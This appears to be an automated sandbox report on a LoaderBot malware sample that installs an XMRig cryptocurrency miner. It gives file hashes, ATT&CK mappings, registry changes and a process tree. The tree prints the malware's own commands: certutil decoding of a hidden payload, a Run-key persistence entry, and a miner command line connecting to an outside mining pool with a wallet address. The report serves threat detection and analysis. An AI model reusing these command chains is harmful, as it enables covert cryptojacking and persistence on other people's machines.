loaderbot | 354bf7f1899b9c1eec5cd0f24b75520ef811c12f22ad5e66ce595efcd26aea07

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
02-06-2024 20:49

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General

Target

$1/1337/Ex.exe
Size

3.1MB
MD5

7afcb8667f1ec33f0cc084936a8a4044
SHA1

a2755123f3515fbfcbd5b1ab38c22fa757b8afa8
SHA256

2304cf3b3d0753318d60c2769c535a164d5f56ee0343c59ac616036d95e8ad71
SHA512

bc04b81c01df03b360c225709d2db3078d1fb45fc2a67713f5f5154d050c71e241c2c7590f510d9f7ac3a0a4bc820b3b171d96cb56d23c0496df184e527162b8
SSDEEP

98304:A5aFQWMH0wPoBn1ZPBIjKNMxCSz4Rg4MuykNt:A5aF1MHropPDuhg3z

Score

10^/10

loaderbot xmrig loader miner persistence

Malware Config

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

LoaderBot executable 1 IoCs

resource	yara_rule
behavioral4/memory/4128-25-0x00000000127C0000-0x0000000012A14000-memory.dmp	loaderbot

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral4/memory/4928-48-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-51-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-52-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-53-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-54-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-55-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-56-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-57-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-58-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-59-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-60-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral4/memory/1060-61-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig

Manipulates Digital Signatures 1 TTPs 3 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7\Name = "szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION"	certutil.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7\Name = "szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION"	certutil.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7\Name = "szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL"	certutil.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	Ex.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sys.url	csrss.com
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	RegAsm.exe

Executes dropped EXE 4 IoCs

pid	Process
4260	csrss.com
4036	csrss.com
4928	Driver.exe
1060	Driver.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\RegAsm.exe"	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4036 set thread context of 4128	4036	csrss.com	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2700	PING.EXE
1560	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe
4128	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4128	RegAsm.exe
Token: SeLockMemoryPrivilege	1060	Driver.exe
Token: SeLockMemoryPrivilege	1060	Driver.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
4260	csrss.com
4260	csrss.com
4260	csrss.com
4036	csrss.com
4036	csrss.com
4036	csrss.com

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
4260	csrss.com
4260	csrss.com
4260	csrss.com
4036	csrss.com
4036	csrss.com
4036	csrss.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4684 wrote to memory of 1048	4684	Ex.exe	83
PID 4684 wrote to memory of 1048	4684	Ex.exe	83
PID 4684 wrote to memory of 1048	4684	Ex.exe	83
PID 4684 wrote to memory of 1732	4684	Ex.exe	85
PID 4684 wrote to memory of 1732	4684	Ex.exe	85
PID 4684 wrote to memory of 1732	4684	Ex.exe	85
PID 1732 wrote to memory of 4948	1732	cmd.exe	87
PID 1732 wrote to memory of 4948	1732	cmd.exe	87
PID 1732 wrote to memory of 4948	1732	cmd.exe	87
PID 4948 wrote to memory of 2700	4948	cmd.exe	88
PID 4948 wrote to memory of 2700	4948	cmd.exe	88
PID 4948 wrote to memory of 2700	4948	cmd.exe	88
PID 4948 wrote to memory of 1996	4948	cmd.exe	89
PID 4948 wrote to memory of 1996	4948	cmd.exe	89
PID 4948 wrote to memory of 1996	4948	cmd.exe	89
PID 4948 wrote to memory of 4260	4948	cmd.exe	90
PID 4948 wrote to memory of 4260	4948	cmd.exe	90
PID 4948 wrote to memory of 4260	4948	cmd.exe	90
PID 4948 wrote to memory of 1560	4948	cmd.exe	91
PID 4948 wrote to memory of 1560	4948	cmd.exe	91
PID 4948 wrote to memory of 1560	4948	cmd.exe	91
PID 4260 wrote to memory of 4036	4260	csrss.com	93
PID 4260 wrote to memory of 4036	4260	csrss.com	93
PID 4260 wrote to memory of 4036	4260	csrss.com	93
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104
PID 4036 wrote to memory of 4128	4036	csrss.com	104

C:\Users\Admin\AppData\Local\Temp\$1\1337\Ex.exe
"C:\Users\Admin\AppData\Local\Temp\$1\1337\Ex.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo pUVyOKPt
  2⤵
  PID:1048
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Users\Admin\AppData\Roaming\Sysfiles & cmd < XuGJAWtEjFqgoZUl.com
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\SysWOW64\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4948
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 moLu.nnnbID
      4⤵
      Runs ping.exe
      PID:2700
  - - C:\Windows\SysWOW64\certutil.exe
      certutil -decode qTh.com y
      4⤵
      Manipulates Digital Signatures
      PID:1996
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\csrss.com
      csrss.com y
      4⤵
      Executes dropped EXE
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:4260
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\csrss.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\csrss.com y
        5⤵
        Drops startup file
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:4036
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        6⤵
        Checks computer location settings
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4128
        
        C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQqTgX5TEtWmQ8ZmVZ7 -p x -k -v=0 --donate-level=1 -t 4
        7⤵
        Executes dropped EXE
        
        PID:4928
        
        C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQqTgX5TEtWmQ8ZmVZ7 -p x -k -v=0 --donate-level=1 -t 4
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1060
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 30
      4⤵
      Runs ping.exe
      PID:1560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\EWSiFeMZzkUETFRYRVL.com

Filesize
921KB

MD5
c317736793ef5129f12a3568cd679422

SHA1
e68b55969c5f2159c847a629fac3731c0c315d53

SHA256
cbb5d906c63cbcb891b35e53156b643ac26c5dec922f43b2fd121ccca60beb62

SHA512
69cb5fd5f1a30c3c786ca945b8de6a460d03605fc3416a3c33e69691603e1a43ad0cfefe9cd5d6af1a154b701ecf34526cc05d9235a4e38acf994eb0edb1a82c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\XuGJAWtEjFqgoZUl.com

Filesize
398B

MD5
0047726ce0f38e02fda2068d7ff7ceff

SHA1
0702fd3e290b95b70b5fc3b70cdb57c808baceb7

SHA256
0423e080422306752ccf52e4639a8f6e58596176e730d10bd812012ccf4f296b

SHA512
00b525c341b3297e3b011065b32bab9d29eee920e7faebea93e4fcc4fef69b166c11c10291cc9ba9b931551eca3dc9ddae27b681c4d4423478ea3a65d29c7d83

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\ZcaqngYeMJ.com

Filesize
2.3MB

MD5
09cc8b02108c2ca6db6197e37b165a65

SHA1
9f245c5206ce171cfc288ed8bf05896d1b36a1f0

SHA256
89ad1822d2ee2d5e39d2e4aae2016562244f7ea43071c192e8989a3c2544d998

SHA512
d50c20b554dd85996f8b7432fb3d3668c3fbfcd77314a4adc476861373a0350b122be61ab1aa087153e45c48cf6a453d0829ccfa4786cf679ee3dccb7cffadae

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\csrss.com

Filesize
921KB

MD5
8ed172328f643375ac09b31ffba0eb63

SHA1
c6716e5e5a311f597e37c5660b0387ab8f77b2a0

SHA256
23e87924005aeef08ab3c9402aa749c0373ed9fa6c1706c13ca1df5ec33f8928

SHA512
79efbac3cbf2bbbf1b5572a3036845fd544210a01adf9850d22587df12fd84832e14e8f7e0476955a8d9bb42ff0be5ca4443cee8e83dc396e70d850e31c60938

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\qTh.com

Filesize
1.1MB

MD5
13a508782d30a527e997a64996920287

SHA1
4628a103700d13b6f3920b3a8a06e9757bf0a9eb

SHA256
e06ad6278f8cdccb51ed58aee3d6ba97bd770b2d8b827746e539770fc959354e

SHA512
cd860c7c8eea0faf0e62f1e695f60c02050c284617265f3e9c11dac4e4cbea34cb656719ae6bdeb39a36dd1446bb443cbcf9c9f4a595c1749f9088d7c082d142

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\y

Filesize
842KB

MD5
dbcc4336d132df084c59bbddff9693f5

SHA1
172d404379f6d288db4eacaa11bf0fa1ccffa451

SHA256
ea3b51ae7fb4264cd4aca28f02fa027bb25ce69a9ece5ff1f9f581b1ae62c84e

SHA512
d7209e47c9ef7e8f0db4bc736828e79d745415dde0dbaa7b4d5a21d6ee3406b139f3565cdcae16911c330d3ebbe1bcbe77f5e40d2313909a3b7b58697d3d4e34

Download Submit
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

Filesize
3.9MB

MD5
02569a7a91a71133d4a1023bf32aa6f4

SHA1
0f16bcb3f3f085d3d3be912195558e9f9680d574

SHA256
8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

SHA512
534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

Download Submit
memory/1060-60-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1060-56-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1060-61-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1060-59-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1060-58-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1060-57-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1060-51-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1060-52-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1060-53-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1060-54-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1060-55-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4128-25-0x00000000127C0000-0x0000000012A14000-memory.dmp

Filesize
2.3MB

Download
memory/4128-35-0x0000000017950000-0x00000000179B6000-memory.dmp

Filesize
408KB

Download
memory/4128-33-0x00000000172E0000-0x00000000176DA000-memory.dmp

Filesize
4.0MB

Download
memory/4928-48-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4928-47-0x00000000004D0000-0x00000000004E4000-memory.dmp

Filesize
80KB

Download
memory/4928-45-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download